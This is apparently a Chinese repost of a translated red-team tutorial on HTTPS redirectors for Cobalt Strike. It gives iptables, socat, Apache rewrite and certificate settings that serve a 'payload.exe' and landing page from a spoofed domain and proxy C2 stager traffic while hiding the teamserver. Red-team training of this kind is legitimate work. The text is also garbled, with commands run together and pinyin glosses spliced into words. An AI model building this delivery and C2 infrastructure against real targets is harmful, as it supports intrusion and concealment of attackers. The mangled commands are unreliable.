時間：2023-02-09 07:30:01 | 來源：建站知識
時間：2023-02-09 07:30:01 來源：建站知識
我已經(jīng)寫了很多關(guān)于使用重定向以及如何加強紅隊評估的文章。自從寫了關(guān)于該主題的第一篇文章以來，我常收到的問題是如何對HTTPS流量做同樣的事情。在這篇文章中，我將詳細(xì)介紹不同的HTTPS重定向方法以及何時使用它們。
在線咨詢
iptables -I INPUT -p tcp -m tcp --dport 443 -j ACCEPTiptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80iptables -t nat -A POSTROUTING -j MASQUERADEiptables -I FORWARD -j ACCEPTiptables -P FORWARD ACCEPTsysctl net.ipv4.ip_forward=1（二）socatsocat TCP4-LISTEN:443,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:443如果重定向的流量很大（如C2），socat可能會開始遇到問題或使主機速度緩慢。如果遇到這些問題，請嘗試iptables。apt-get install apache2a2enmod ssl rewrite proxy proxy_httpa2ensite default-ssl.confservice apache2 restart在Apache2配置文件（默認(rèn)為/etc/apache2/apache2.conf）中，找到站點目錄的Directory標(biāo)記并將None更改為All：<Directory /var/www/> Options Indexes FollowSymLinks AllowOverride None Require all granted</Directory>使用LetsEncrypt生成證書sudo service apache2 stopsudo apt-get install certbotsudo certbot certonly --standalone -d spoofdomain.com -d www.spoofdomain.com修改certbot命令以包含任何其他需要使用-d標(biāo)志保護的子域。請注意，上面我們指定了根域以及www子域。SSLCertificateFile /etc/letsencrypt/live/spoofdomain.com/cert.pemSSLCertificateKeyFile /etc/letsencrypt/live/spoofdomain.com/privkey.pem另外，將以下代碼添加到VirtualHost標(biāo)記中的同一文件中：# Enable SSLSSLEngine On# Enable ProxySSLProxyEngine On# Trust Self-Signed Certificates generated by Cobalt StrikeSSLProxyVerify noneSSLProxyCheckPeerCN offSSLProxyCheckPeerName off現(xiàn)在使用有效的LetsEncrypt證書進(jìn)行基本的SSL安裝。從這里開始，這篇文章將演示如何提供所需的payload文件或網(wǎng)頁，以及如何重定向C2流量。RewriteEngine OnRewriteCond %{REQUEST_URI} ^/(payload/.exe|landingpage/.html)/?$ [NC]RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]RewriteRule ^.*$ http://example.com/404? [L,R=302]以下為彩色代碼細(xì)劃了正在執(zhí)行的規(guī)則：Enable the rewrite engineIf the request's URI is either '/payload.exe' or '/landingpage.html' (with an optional trailing slash), ignoring case; Change the entire request to serve the original request path from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.注意上面的規(guī)則集，使用HTTP作為第一個RewriteRule，是因為僅使用HTTP在后端服務(wù)器上托管payload.exe和landingpage.html文件。openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out spoofdomain.p12 -name spoofdomain.com -passout pass:mypasskeytool -importkeystore -deststorepass mypass -destkeypass mypass -destkeystore spoofdomain.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass mypass -alias spoofdomain.com添加keystore到Malleable C2：https-certificate { set keystore "spoofdomain.store"; set password "mypass"; }當(dāng)team服務(wù)器啟動時，它將使用提供的keystore并啟用SSL文件托管。RewriteEngine OnRewriteCond %{REQUEST_URI} ^/(payload/.exe|landingpage/.html)/?$ [NC]RewriteRule ^.*$ http://REMOTE-HOST-IP%{REQUEST_URI} [P]RewriteCond %{REQUEST_URI} ^/(legit-path-1|legit-path-2|stager)/?$ [NC]RewriteRule ^.*$ https://REMOTE-HOST-IP%{REQUEST_URI} [P]RewriteRule ^.*$ http://example.com/404? [L,R=302]以下為彩色代碼細(xì)劃了正在執(zhí)行的規(guī)則：Enable the rewrite engineIf the request's URI is either '/payload.exe' or '/landingpage.html' (with an optional trailing slash), ignoring case; Change the entire request to serve the original request path over HTTP from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).If the request's URI is '/legit-path-1', '/legit-path-2', or '/stager' (with an optional trailing slash), ignoring case; Change the entire request to serve the original request path over HTTPS from the remote host's IP, and keep the user's address bar the same (obscure the backend server's IP).If the above conditions are not met, change the entire request to http://example.com/404 and drop any query strings from the original request. Do not evaluate further rules and redirect the user, changing their address bar.這顯然是一個人為的例子，需要使用Malleable C2配置文件進(jìn)行設(shè)置以提供一些規(guī)避策略，但上面的代碼應(yīng)該說明如何在HTTP和HTTPS之間混合使用。RewriteCond %{HTTPS} !=on [NC]RewriteRule ^.*$ https://REDIRECTOR-DOMAIN.com%{REQUEST_URI} [L,R=301]以下為彩色代碼細(xì)劃了正在執(zhí)行的規(guī)則：Enable the rewrite engineIf the request's SSL status is NOT "on",Change the entire request to serve the original request path from REDIRECTOR-DOMAIN.com over HTTPS, and change the user's address bar show the redirection. Make the redirect permanent with a 301 code.上面的規(guī)則集從http://AskApache.com（here）采用并略微修改。如果請求使用SSL / TLS，則%{HTTPS}變量將返回on，如果僅使用HTTP，則返回off。本文翻譯自：https://posts.specterops.io/https-payload-and-c2-redirectors-ff8eb6f87742 如若轉(zhuǎn)載，請注明原文地址： http://www.4hou.com/technology/11132.html 更多內(nèi)容請關(guān)注“嘶吼專業(yè)版”——Pro4hou
關(guān)鍵詞：
微信公眾號
版權(quán)所有? 億企邦 1997-2025 保留一切法律許可權(quán)利。
